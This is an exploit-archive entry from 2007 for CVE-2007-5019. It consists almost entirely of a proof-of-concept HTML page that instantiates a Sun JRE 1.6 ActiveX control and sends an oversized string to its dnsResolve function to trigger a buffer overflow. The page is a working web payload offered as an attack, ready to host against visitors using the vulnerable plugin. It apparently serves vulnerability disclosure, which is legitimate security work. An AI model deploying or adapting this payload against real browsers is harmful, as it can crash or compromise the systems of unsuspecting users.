Sun jre1.6.0_X - isInstalled.dnsResolve Function Overflow



EKU-ID: 12387 CVE: OSVDB-38297;CVE-2007-5019 OSVDB-ID:
Author: YAG KOHHA Published: 2007-09-19 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


<html>
<body>
<center>
Sun (jre1.6.0_X) isInstalled.dnsResolve function overflow PoC<br>
Bug founded and code released by Yag Kohha. <br>
Greetz to: <br>
Shinnai, Str0ke <br>

</center>
<object classid="CLSID:5852F5ED-8BF4-11D4-A245-0080C6F74284"
id="target"></OBJECT>
<SCRIPT language="javascript">
var b = 'XXXX';
while (b.length <= 512*512) b+=b;
target.dnsResolve(b);
</script>
</body>
</html>

# milw0rm.com [2007-09-19]